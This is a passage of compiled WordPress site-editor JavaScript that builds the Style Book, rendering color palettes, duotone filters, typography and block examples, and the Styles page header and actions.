21300 const className = type === "gradients" ? (0,external_wp_blockEditor_namespaceObject.__experimentalGetGradientClass)(color.slug) : (0,external_wp_blockEditor_namespaceObject.getColorClassName)("background-color", color.slug);
21301 const classes = dist_clsx(
21302 "edit-site-style-book__color-example",
21303 className
21304 );
21305 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21306 external_wp_primitives_namespaceObject.View,
21307 {
21308 className: classes,
21309 style: { height: itemHeight }
21310 },
21311 color.slug
21312 );
21313 }) });
21314};
21315var color_examples_default = ColorExamples;
21316
21317
21318;// ./node_modules/@wordpress/edit-site/build-module/components/style-book/duotone-examples.js
21319
21320
21321
21322const DuotoneExamples = ({
21323 duotones
21324}) => {
21325 if (!duotones) {
21326 return null;
21327 }
21328 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalGrid, { columns: 2, rowGap: 16, columnGap: 16, children: duotones.map((duotone) => {
21329 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
21330 external_wp_components_namespaceObject.__experimentalGrid,
21331 {
21332 className: "edit-site-style-book__duotone-example",
21333 columns: 2,
21334 rowGap: 8,
21335 columnGap: 8,
21336 children: [
21337 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.View, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21338 "img",
21339 {
21340 alt: `Duotone example: ${duotone.slug}`,
21341 src: "https://s.w.org/images/core/5.3/MtBlanc1.jpg",
21342 style: {
21343 filter: `url(#wp-duotone-${duotone.slug})`
21344 }
21345 }
21346 ) }),
21347 duotone.colors.map((color) => {
21348 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21349 external_wp_primitives_namespaceObject.View,
21350 {
21351 className: "edit-site-style-book__color-example",
21352 style: { backgroundColor: color }
21353 },
21354 color
21355 );
21356 })
21357 ]
21358 },
21359 duotone.slug
21360 );
21361 }) });
21362};
21363var duotone_examples_default = DuotoneExamples;
21364
21365
21366;// ./node_modules/@wordpress/edit-site/build-module/components/style-book/examples.js
21367
21368
21369
21370
21371
21372
21373function getColorExamples(colors) {
21374 if (!colors) {
21375 return [];
21376 }
21377 const examples = [];
21378 STYLE_BOOK_COLOR_GROUPS.forEach((group) => {
21379 const palette = colors[group.type];
21380 const paletteFiltered = Array.isArray(palette) ? palette.find(
21381 (origin) => origin.slug === group.origin
21382 ) : void 0;
21383 if (paletteFiltered?.[group.type]) {
21384 const example = {
21385 name: group.slug,
21386 title: group.title,
21387 category: "colors"
21388 };
21389 if (group.type === "duotones") {
21390 example.content = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21391 duotone_examples_default,
21392 {
21393 duotones: paletteFiltered[group.type]
21394 }
21395 );
21396 examples.push(example);
21397 } else {
21398 example.content = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21399 color_examples_default,
21400 {
21401 colors: paletteFiltered[group.type],
21402 type: group.type
21403 }
21404 );
21405 examples.push(example);
21406 }
21407 }
21408 });
21409 return examples;
21410}
21411function getOverviewBlockExamples(colors) {
21412 const examples = [];
21413 const themePalette = Array.isArray(colors?.colors) ? colors.colors.find(
21414 (origin) => origin.slug === "theme"
21415 ) : void 0;
21416 if (themePalette) {
21417 const themeColorexample = {
21418 name: "theme-colors",
21419 title: (0,external_wp_i18n_namespaceObject.__)("Colors"),
21420 category: "overview",
21421 content: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21422 color_examples_default,
21423 {
21424 colors: themePalette.colors,
21425 type: "colors",
21426 templateColumns: "repeat(auto-fill, minmax( 200px, 1fr ))",
21427 itemHeight: "32px"
21428 }
21429 )
21430 };
21431 examples.push(themeColorexample);
21432 }
21433 const typographyBlockExamples = [];
21434 if ((0,external_wp_blocks_namespaceObject.getBlockType)("core/heading")) {
21435 const headingBlock = (0,external_wp_blocks_namespaceObject.createBlock)("core/heading", {
21436 // translators: Typography example. Your local alphabet, numbers and some common special characters.
21437 content: (0,external_wp_i18n_namespaceObject.__)(
21438 `AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789X{(\u2026)},.-<>?!*&:/A@HELFO\u2122\xA9`
21439 ),
21440 level: 1
21441 });
21442 typographyBlockExamples.push(headingBlock);
21443 }
21444 if ((0,external_wp_blocks_namespaceObject.getBlockType)("core/paragraph")) {
21445 const firstParagraphBlock = (0,external_wp_blocks_namespaceObject.createBlock)("core/paragraph", {
21446 content: (0,external_wp_i18n_namespaceObject.__)(
21447 `A paragraph in a website refers to a distinct block of text that is used to present and organize information. It is a fundamental unit of content in web design and is typically composed of a group of related sentences or thoughts focused on a particular topic or idea. Paragraphs play a crucial role in improving the readability and user experience of a website. They break down the text into smaller, manageable chunks, allowing readers to scan the content more easily.`
21448 )
21449 });
21450 const secondParagraphBlock = (0,external_wp_blocks_namespaceObject.createBlock)("core/paragraph", {
21451 content: (0,external_wp_i18n_namespaceObject.__)(
21452 `Additionally, paragraphs help structure the flow of information and provide logical breaks between different concepts or pieces of information. In terms of formatting, paragraphs in websites are commonly denoted by a vertical gap or indentation between each block of text. This visual separation helps visually distinguish one paragraph from another, creating a clear and organized layout that guides the reader through the content smoothly.`
21453 )
21454 });
21455 if ((0,external_wp_blocks_namespaceObject.getBlockType)("core/group")) {
21456 const groupBlock = (0,external_wp_blocks_namespaceObject.createBlock)(
21457 "core/group",
21458 {
21459 layout: {
21460 type: "grid",
21461 columnCount: 2,
21462 minimumColumnWidth: "12rem"
21463 },
21464 style: {
21465 spacing: {
21466 blockGap: "1.5rem"
21467 }
21468 }
21469 },
21470 [firstParagraphBlock, secondParagraphBlock]
21471 );
21472 typographyBlockExamples.push(groupBlock);
21473 } else {
21474 typographyBlockExamples.push(firstParagraphBlock);
21475 }
21476 }
21477 if (!!typographyBlockExamples.length) {
21478 examples.push({
21479 name: "typography",
21480 title: (0,external_wp_i18n_namespaceObject.__)("Typography"),
21481 category: "overview",
21482 blocks: typographyBlockExamples
21483 });
21484 }
21485 const otherBlockExamples = [
21486 "core/image",
21487 "core/separator",
21488 "core/buttons",
21489 "core/pullquote",
21490 "core/search"
21491 ];
21492 otherBlockExamples.forEach((blockName) => {
21493 const blockType = (0,external_wp_blocks_namespaceObject.getBlockType)(blockName);
21494 if (blockType && blockType.example) {
21495 const blockExample = {
21496 name: blockName,
21497 title: blockType.title,
21498 category: "overview",
21499 /*
21500 * CSS generated from style attributes will take precedence over global styles CSS,
21501 * so remove the style attribute from the example to ensure the example
21502 * demonstrates changes to global styles.
21503 */
21504 blocks: (0,external_wp_blocks_namespaceObject.getBlockFromExample)(blockName, {
21505 ...blockType.example,
21506 attributes: {
21507 ...blockType.example.attributes,
21508 style: void 0
21509 }
21510 })
21511 };
21512 examples.push(blockExample);
21513 }
21514 });
21515 return examples;
21516}
21517function getExamples(colors) {
21518 const nonHeadingBlockExamples = (0,external_wp_blocks_namespaceObject.getBlockTypes)().filter((blockType) => {
21519 const { name, example, supports } = blockType;
21520 return name !== "core/heading" && !!example && supports?.inserter !== false;
21521 }).map((blockType) => ({
21522 name: blockType.name,
21523 title: blockType.title,
21524 category: blockType.category,
21525 /*
21526 * CSS generated from style attributes will take precedence over global styles CSS,
21527 * so remove the style attribute from the example to ensure the example
21528 * demonstrates changes to global styles.
21529 */
21530 blocks: (0,external_wp_blocks_namespaceObject.getBlockFromExample)(blockType.name, {
21531 ...blockType.example,
21532 attributes: {
21533 ...blockType.example.attributes,
21534 style: void 0
21535 }
21536 })
21537 }));
21538 const isHeadingBlockRegistered = !!(0,external_wp_blocks_namespaceObject.getBlockType)("core/heading");
21539 if (!isHeadingBlockRegistered) {
21540 return nonHeadingBlockExamples;
21541 }
21542 const headingsExample = {
21543 name: "core/heading",
21544 title: (0,external_wp_i18n_namespaceObject.__)("Headings"),
21545 category: "text",
21546 blocks: [1, 2, 3, 4, 5, 6].map((level) => {
21547 return (0,external_wp_blocks_namespaceObject.createBlock)("core/heading", {
21548 content: (0,external_wp_i18n_namespaceObject.sprintf)(
21549 // translators: %d: heading level e.g: "1", "2", "3"
21550 (0,external_wp_i18n_namespaceObject.__)("Heading %d"),
21551 level
21552 ),
21553 level
21554 });
21555 })
21556 };
21557 const colorExamples = getColorExamples(colors);
21558 const overviewBlockExamples = getOverviewBlockExamples(colors);
21559 return [
21560 headingsExample,
21561 ...colorExamples,
21562 ...nonHeadingBlockExamples,
21563 ...overviewBlockExamples
21564 ];
21565}
21566
21567
21568;// ./node_modules/@wordpress/admin-ui/build-module/page/header.js
21569
21570
21571function Header({
21572 breadcrumbs,
21573 badges,
21574 title,
21575 subTitle,
21576 actions
21577}) {
21578 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { className: "admin-ui-page__header", as: "header", children: [
21579 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
21580 external_wp_components_namespaceObject.__experimentalHStack,
21581 {
21582 className: "admin-ui-page__header-title",
21583 justify: "space-between",
21584 spacing: 2,
21585 children: [
21586 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { spacing: 2, children: [
21587 title && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHeading, { as: "h2", level: 3, weight: 500, truncate: true, children: title }),
21588 breadcrumbs,
21589 badges
21590 ] }),
21591 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21592 external_wp_components_namespaceObject.__experimentalHStack,
21593 {
21594 style: { width: "auto", flexShrink: 0 },
21595 spacing: 2,
21596 className: "admin-ui-page__header-actions",
21597 children: actions
21598 }
21599 )
21600 ]
21601 }
21602 ),
21603 subTitle && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "admin-ui-page__header-subtitle", children: subTitle })
21604 ] });
21605}
21606
21607
21608;// ./node_modules/@wordpress/admin-ui/build-module/page/index.js
21609
21610
21611
21612
21613function Page({
21614 breadcrumbs,
21615 badges,
21616 title,
21617 subTitle,
21618 children,
21619 className,
21620 actions,
21621 hasPadding = false
21622}) {
21623 const classes = dist_clsx("admin-ui-page", className);
21624 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(navigable_region_default, { className: classes, ariaLabel: title, children: [
21625 (title || breadcrumbs || badges) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21626 Header,
21627 {
21628 breadcrumbs,
21629 badges,
21630 title,
21631 subTitle,
21632 actions
21633 }
21634 ),
21635 hasPadding ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "admin-ui-page__content has-padding", children }) : children
21636 ] });
21637}
21638var page_page_default = Page;
21639
21640
21641;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-global-styles-wrapper/index.js
21642
21643
21644
21645
21646
21647
21648
21649
21650
21651
21652
21653
21654
21655const { useLocation: sidebar_global_styles_wrapper_useLocation, useHistory: sidebar_global_styles_wrapper_useHistory } = unlock(external_wp_router_namespaceObject.privateApis);
21656const GlobalStylesPageActions = ({
21657 isStyleBookOpened,
21658 setIsStyleBookOpened,
21659 path
21660}) => {
21661 const history = sidebar_global_styles_wrapper_useHistory();
21662 const canEditCSS = (0,external_wp_data_.useSelect)((select) => {
21663 const { getEntityRecord, __experimentalGetCurrentGlobalStylesId } = select(external_wp_coreData_namespaceObject.store);
21664 const globalStylesId = __experimentalGetCurrentGlobalStylesId();
21665 const globalStyles = globalStylesId ? getEntityRecord("root", "globalStyles", globalStylesId) : void 0;
21666 return !!globalStyles?._links?.["wp:action-edit-css"];
21667 }, []);
21668 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { children: [
21669 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21670 external_wp_components_namespaceObject.Button,
21671 {
21672 isPressed: isStyleBookOpened,
21673 icon: seen_default,
21674 label: (0,external_wp_i18n_namespaceObject.__)("Style Book"),
21675 onClick: () => {
21676 setIsStyleBookOpened(!isStyleBookOpened);
21677 const updatedPath = !isStyleBookOpened ? (0,external_wp_url_namespaceObject.addQueryArgs)(path, { preview: "stylebook" }) : (0,external_wp_url_namespaceObject.removeQueryArgs)(path, "preview");
21678 history.navigate(updatedPath);
21679 },
21680 size: "compact"
21681 }
21682 ),
21683 canEditCSS && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21684 external_wp_components_namespaceObject.DropdownMenu,
21685 {
21686 icon: more_vertical_default,
21687 label: (0,external_wp_i18n_namespaceObject.__)("More"),
21688 toggleProps: { size: "compact" },
21689 children: ({ onClose }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuGroup, { children: canEditCSS && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21690 external_wp_components_namespaceObject.MenuItem,
21691 {
21692 onClick: () => {
21693 onClose();
21694 history.navigate(
21695 (0,external_wp_url_namespaceObject.addQueryArgs)(path, {
21696 section: "/css"
21697 })
21698 );
21699 },
21700 children: (0,external_wp_i18n_namespaceObject.__)("Additional CSS")
21701 }
21702 ) })
21703 }
21704 )
21705 ] });
21706};
21707const useSection = () => {
21708 const { path, query } = sidebar_global_styles_wrapper_useLocation();
21709 const history = sidebar_global_styles_wrapper_useHistory();
21710 return (0,external_wp_element_.useMemo)(() => {
21711 return [
21712 query.section ?? "/",
21713 (updatedSection) => {
21714 history.navigate(
21715 (0,external_wp_url_namespaceObject.addQueryArgs)(path, {
21716 section: updatedSection
21717 })
21718 );
21719 }
21720 ];
21721 }, [path, query.section, history]);
21722};
21723function GlobalStylesUIWrapper() {
21724 const { path } = sidebar_global_styles_wrapper_useLocation();
21725 const [isStyleBookOpened, setIsStyleBookOpened] = (0,external_wp_element_.useState)(
21726 path.includes("preview=stylebook")
21727 );
21728 const isMobileViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)("medium", "<");
21729 const [section, onChangeSection] = useSection();
21730 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21731 page_page_default,
21732 {
21733 actions: !isMobileViewport ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21734 GlobalStylesPageActions,
21735 {
21736 isStyleBookOpened,
21737 setIsStyleBookOpened,
21738 path
21739 }
21740 ) : null,
21741 className: "edit-site-styles",
21742 title: (0,external_wp_i18n_namespaceObject.__)("Styles"),
21743 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ui_default, { path: section, onPathChange: onChangeSection })
21744 }
21745 );
21746}
21747
21748
21749;// ./node_modules/@wordpress/edit-site/build-module/components/style-book/index.js
21750
21751
21752
21753
21754
21755
21756
21757
21758
21759
21760
21761
21762
21763
21764
21765
21766
21767
21768
21769
21770
21771const {
21772 ExperimentalBlockEditorProvider,
21773 useGlobalStyle: style_book_useGlobalStyle,
21774 GlobalStylesContext: style_book_GlobalStylesContext,
21775 useGlobalStylesOutputWithConfig
21776} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
21777const { mergeBaseAndUserConfigs: style_book_mergeBaseAndUserConfigs } = unlock(external_wp_editor_namespaceObject.privateApis);
21778const { Tabs: style_book_Tabs } = unlock(external_wp_components_namespaceObject.privateApis);
21779function isObjectEmpty(object) {
21780 return !object || Object.keys(object).length === 0;
21781}
21782const scrollToSection = (anchorId, iframe) => {
21783 if (!anchorId || !iframe || !iframe?.contentDocument) {
21784 return;
21785 }
21786 const element = anchorId === "top" ? iframe.contentDocument.body : iframe.contentDocument.getElementById(anchorId);
21787 if (element) {
21788 element.scrollIntoView({
21789 behavior: "smooth"
21790 });
21791 }
21792};
21793const getStyleBookNavigationFromPath = (path) => {
21794 if (path && typeof path === "string") {
21795 if (path === "/" || path.startsWith("/typography") || path.startsWith("/colors") || path.startsWith("/blocks")) {
21796 return {
21797 top: true
21798 };
21799 }
21800 }
21801 return null;
21802};
21803function useMultiOriginPalettes() {
21804 const { colors, gradients } = (0,external_wp_blockEditor_namespaceObject.__experimentalUseMultipleOriginColorsAndGradients)();
21805 const [
21806 shouldDisplayDefaultDuotones,
21807 customDuotones,
21808 themeDuotones,
21809 defaultDuotones
21810 ] = (0,external_wp_blockEditor_namespaceObject.useSettings)(
21811 "color.defaultDuotone",
21812 "color.duotone.custom",
21813 "color.duotone.theme",
21814 "color.duotone.default"
21815 );
21816 const palettes = (0,external_wp_element_.useMemo)(() => {
21817 const result = { colors, gradients, duotones: [] };
21818 if (themeDuotones && themeDuotones.length) {
21819 result.duotones.push({
21820 name: (0,external_wp_i18n_namespaceObject._x)(
21821 "Theme",
21822 "Indicates these duotone filters come from the theme."
21823 ),
21824 slug: "theme",
21825 duotones: themeDuotones
21826 });
21827 }
21828 if (shouldDisplayDefaultDuotones && defaultDuotones && defaultDuotones.length) {
21829 result.duotones.push({
21830 name: (0,external_wp_i18n_namespaceObject._x)(
21831 "Default",
21832 "Indicates these duotone filters come from WordPress."
21833 ),
21834 slug: "default",
21835 duotones: defaultDuotones
21836 });
21837 }
21838 if (customDuotones && customDuotones.length) {
21839 result.duotones.push({
21840 name: (0,external_wp_i18n_namespaceObject._x)(
21841 "Custom",
21842 "Indicates these doutone filters are created by the user."
21843 ),
21844 slug: "custom",
21845 duotones: customDuotones
21846 });
21847 }
21848 return result;
21849 }, [
21850 colors,
21851 gradients,
21852 customDuotones,
21853 themeDuotones,
21854 defaultDuotones,
21855 shouldDisplayDefaultDuotones
21856 ]);
21857 return palettes;
21858}
21859function getExamplesForSinglePageUse(examples) {
21860 const examplesForSinglePageUse = [];
21861 const overviewCategoryExamples = getExamplesByCategory(
21862 { slug: "overview" },
21863 examples
21864 );
21865 examplesForSinglePageUse.push(...overviewCategoryExamples.examples);
21866 const otherExamples = examples.filter((example) => {
21867 return example.category !== "overview" && !overviewCategoryExamples.examples.find(
21868 (overviewExample) => overviewExample.name === example.name
21869 );
21870 });
21871 examplesForSinglePageUse.push(...otherExamples);
21872 return examplesForSinglePageUse;
21873}
21874function applyBlockVariationsToExamples(examples, variation) {
21875 if (!variation) {
21876 return examples;
21877 }
21878 return examples.map((example) => {
21879 return {
21880 ...example,
21881 variation,
21882 blocks: Array.isArray(example.blocks) ? example.blocks.map((block) => ({
21883 ...block,
21884 attributes: {
21885 ...block.attributes,
21886 style: void 0,
21887 className: getVariationClassName(variation)
21888 }
21889 })) : {
21890 ...example.blocks,
21891 attributes: {
21892 ...example.blocks.attributes,
21893 style: void 0,
21894 className: getVariationClassName(variation)
21895 }
21896 }
21897 };
21898 });
21899}
21900function StyleBook({
21901 enableResizing = true,
21902 isSelected,
21903 onClick,
21904 onSelect,
21905 showCloseButton = true,
21906 onClose,
21907 showTabs = true,
21908 userConfig = {},
21909 path = ""
21910}) {
21911 const [textColor] = style_book_useGlobalStyle("color.text");
21912 const [backgroundColor] = style_book_useGlobalStyle("color.background");
21913 const colors = useMultiOriginPalettes();
21914 const examples = (0,external_wp_element_.useMemo)(() => getExamples(colors), [colors]);
21915 const tabs = (0,external_wp_element_.useMemo)(
21916 () => getTopLevelStyleBookCategories().filter(
21917 (category) => examples.some(
21918 (example) => example.category === category.slug
21919 )
21920 ),
21921 [examples]
21922 );
21923 const examplesForSinglePageUse = getExamplesForSinglePageUse(examples);
21924 const { base: baseConfig } = (0,external_wp_element_.useContext)(style_book_GlobalStylesContext);
21925 const goTo = getStyleBookNavigationFromPath(path);
21926 const mergedConfig = (0,external_wp_element_.useMemo)(() => {
21927 if (!isObjectEmpty(userConfig) && !isObjectEmpty(baseConfig)) {
21928 return style_book_mergeBaseAndUserConfigs(baseConfig, userConfig);
21929 }
21930 return {};
21931 }, [baseConfig, userConfig]);
21932 const originalSettings = (0,external_wp_data_.useSelect)(
21933 (select) => select(external_wp_blockEditor_namespaceObject.store).getSettings(),
21934 []
21935 );
21936 const [globalStyles] = useGlobalStylesOutputWithConfig(mergedConfig);
21937 const settings = (0,external_wp_element_.useMemo)(
21938 () => ({
21939 ...originalSettings,
21940 styles: !isObjectEmpty(globalStyles) && !isObjectEmpty(userConfig) ? globalStyles : originalSettings.styles,
21941 isPreviewMode: true
21942 }),
21943 [globalStyles, originalSettings, userConfig]
21944 );
21945 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21946 editor_canvas_container_default,
21947 {
21948 onClose,
21949 enableResizing,
21950 closeButtonLabel: showCloseButton ? (0,external_wp_i18n_namespaceObject.__)("Close") : null,
21951 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21952 "div",
21953 {
21954 className: dist_clsx("edit-site-style-book", {
21955 "is-button": !!onClick
21956 }),
21957 style: {
21958 color: textColor,
21959 background: backgroundColor
21960 },
21961 children: showTabs ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(style_book_Tabs, { children: [
21962 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "edit-site-style-book__tablist-container", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(style_book_Tabs.TabList, { children: tabs.map((tab) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21963 style_book_Tabs.Tab,
21964 {
21965 tabId: tab.slug,
21966 children: tab.title
21967 },
21968 tab.slug
21969 )) }) }),
21970 tabs.map((tab) => {
21971 const categoryDefinition = tab.slug ? getTopLevelStyleBookCategories().find(
21972 (_category) => _category.slug === tab.slug
21973 ) : null;
21974 const filteredExamples = categoryDefinition ? getExamplesByCategory(
21975 categoryDefinition,
21976 examples
21977 ) : { examples };
21978 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21979 style_book_Tabs.TabPanel,
21980 {
21981 tabId: tab.slug,
21982 focusable: false,
21983 className: "edit-site-style-book__tabpanel",
21984 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21985 StyleBookBody,
21986 {
21987 category: tab.slug,
21988 examples: filteredExamples,
21989 isSelected,
21990 onSelect,
21991 settings,
21992 title: tab.title,
21993 goTo
21994 }
21995 )
21996 },
21997 tab.slug
21998 );
21999 })
22000 ] }) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22001 StyleBookBody,
22002 {
22003 examples: { examples: examplesForSinglePageUse },
22004 isSelected,
22005 onClick,
22006 onSelect,
22007 settings,
22008 goTo
22009 }
22010 )
22011 }
22012 )
22013 }
22014 );
22015}
22016const StyleBookPreview = ({ userConfig = {}, isStatic = false }) => {
22017 const siteEditorSettings = (0,external_wp_data_.useSelect)(
22018 (select) => select(store).getSettings(),
22019 []
22020 );
22021 const canUserUploadMedia = (0,external_wp_data_.useSelect)(
22022 (select) => select(external_wp_coreData_namespaceObject.store).canUser("create", {
22023 kind: "postType",
22024 name: "attachment"
22025 }),
22026 []
22027 );
22028 (0,external_wp_element_.useEffect)(() => {
22029 (0,external_wp_data_.dispatch)(external_wp_blockEditor_namespaceObject.store).updateSettings({
22030 ...siteEditorSettings,
22031 mediaUpload: canUserUploadMedia ? external_wp_mediaUtils_namespaceObject.uploadMedia : void 0
22032 });
22033 }, [siteEditorSettings, canUserUploadMedia]);
22034 const [section, onChangeSection] = useSection();
22035 const isSelected = (blockName) => {
22036 return section === `/blocks/${encodeURIComponent(blockName)}` || section.startsWith(
22037 `/blocks/${encodeURIComponent(blockName)}/`
22038 );
22039 };
22040 const onSelect = (blockName, isBlockVariation = false) => {
22041 if (STYLE_BOOK_COLOR_GROUPS.find(
22042 (group) => group.slug === blockName
22043 )) {
22044 onChangeSection("/colors/palette");
22045 return;
22046 }
22047 if (blockName === "typography") {
22048 onChangeSection("/typography");
22049 return;
22050 }
22051 if (isBlockVariation) {
22052 return;
22053 }
22054 onChangeSection(`/blocks/${encodeURIComponent(blockName)}`);
22055 };
22056 const colors = useMultiOriginPalettes();
22057 const examples = getExamples(colors);
22058 const examplesForSinglePageUse = getExamplesForSinglePageUse(examples);
22059 let previewCategory = null;
22060 let blockVariation = null;
22061 if (section.includes("/colors")) {
22062 previewCategory = "colors";
22063 } else if (section.includes("/typography")) {
22064 previewCategory = "text";
22065 } else if (section.includes("/blocks")) {
22066 previewCategory = "blocks";
22067 let blockName = decodeURIComponent(section).split("/blocks/")[1];
22068 if (blockName?.includes("/variations")) {
22069 [blockName, blockVariation] = blockName.split("/variations/");
22070 }
22071 if (blockName && examples.find((example) => example.name === blockName)) {
22072 previewCategory = blockName;
22073 }
22074 } else if (!isStatic) {
22075 previewCategory = "overview";
22076 }
22077 const categoryDefinition = STYLE_BOOK_PREVIEW_CATEGORIES.find(
22078 (category) => category.slug === previewCategory
22079 );
22080 const filteredExamples = (0,external_wp_element_.useMemo)(() => {
22081 if (!categoryDefinition) {
22082 return {
22083 examples: [
22084 examples.find(
22085 (example) => example.name === previewCategory
22086 )
22087 ]
22088 };
22089 }
22090 return getExamplesByCategory(categoryDefinition, examples);
22091 }, [categoryDefinition, examples, previewCategory]);
22092 const displayedExamples = (0,external_wp_element_.useMemo)(() => {
22093 if (!previewCategory) {
22094 return { examples: examplesForSinglePageUse };
22095 }
22096 if (blockVariation) {
22097 return {
22098 examples: applyBlockVariationsToExamples(
22099 filteredExamples.examples,
22100 blockVariation
22101 )
22102 };
22103 }
22104 return filteredExamples;
22105 }, [
22106 previewCategory,
22107 examplesForSinglePageUse,
22108 blockVariation,
22109 filteredExamples
22110 ]);
22111 const { base: baseConfig } = (0,external_wp_element_.useContext)(style_book_GlobalStylesContext);
22112 const goTo = getStyleBookNavigationFromPath(section);
22113 const mergedConfig = (0,external_wp_element_.useMemo)(() => {
22114 if (!isObjectEmpty(userConfig) && !isObjectEmpty(baseConfig)) {
22115 return style_book_mergeBaseAndUserConfigs(baseConfig, userConfig);
22116 }
22117 return {};
22118 }, [baseConfig, userConfig]);
22119 const [globalStyles] = useGlobalStylesOutputWithConfig(mergedConfig);
22120 const settings = (0,external_wp_element_.useMemo)(
22121 () => ({
22122 ...siteEditorSettings,
22123 styles: !isObjectEmpty(globalStyles) && !isObjectEmpty(userConfig) ? globalStyles : siteEditorSettings.styles,
22124 isPreviewMode: true
22125 }),
22126 [globalStyles, siteEditorSettings, userConfig]
22127 );
22128 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "edit-site-style-book", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_blockEditor_namespaceObject.BlockEditorProvider, { settings, children: [
22129 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesRenderer, { disableRootPadding: true }),
22130 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22131 StyleBookBody,
22132 {
22133 examples: displayedExamples,
22134 settings,
22135 goTo,
22136 isSelected: !isStatic ? isSelected : null,
22137 onSelect: !isStatic ? onSelect : null
22138 }
22139 )
22140 ] }) });
22141};
22142const StyleBookBody = ({
22143 examples,
22144 isSelected,
22145 onClick,
22146 onSelect,
22147 settings,
22148 title,
22149 goTo
22150}) => {
22151 const [isFocused, setIsFocused] = (0,external_wp_element_.useState)(false);
22152 const [hasIframeLoaded, setHasIframeLoaded] = (0,external_wp_element_.useState)(false);
22153 const iframeRef = (0,external_wp_element_.useRef)(null);
22154 const buttonModeProps = {
22155 role: "button",
22156 onFocus: () => setIsFocused(true),
22157 onBlur: () => setIsFocused(false),
22158 onKeyDown: (event) => {
22159 if (event.defaultPrevented) {
22160 return;
22161 }
22162 const { keyCode } = event;
22163 if (onClick && (keyCode === external_wp_keycodes_namespaceObject.ENTER || keyCode === external_wp_keycodes_namespaceObject.SPACE)) {
22164 event.preventDefault();
22165 onClick(event);
22166 }
22167 },
22168 onClick: (event) => {
22169 if (event.defaultPrevented) {
22170 return;
22171 }
22172 if (onClick) {
22173 event.preventDefault();
22174 onClick(event);
22175 }
22176 },
22177 readonly: true
22178 };
22179 const handleLoad = () => setHasIframeLoaded(true);
22180 (0,external_wp_element_.useLayoutEffect)(() => {
22181 if (hasIframeLoaded && iframeRef?.current) {
22182 if (goTo?.top) {
22183 scrollToSection("top", iframeRef?.current);
22184 }
22185 }
22186 }, [iframeRef?.current, goTo, scrollToSection, hasIframeLoaded]);
22187 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
22188 external_wp_blockEditor_namespaceObject.__unstableIframe,
22189 {
22190 onLoad: handleLoad,
22191 ref: iframeRef,
22192 className: dist_clsx("edit-site-style-book__iframe", {
22193 "is-focused": isFocused && !!onClick,
22194 "is-button": !!onClick
22195 }),
22196 name: "style-book-canvas",
22197 tabIndex: 0,
22198 ...onClick ? buttonModeProps : {},
22199 children: [
22200 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.__unstableEditorStyles, { styles: settings.styles }),
22201 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("style", { children: [
22202 STYLE_BOOK_IFRAME_STYLES,
22203 !!onClick && "body { cursor: pointer; } body * { pointer-events: none; }"
22204 ] }),
22205 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22206 Examples,
22207 {
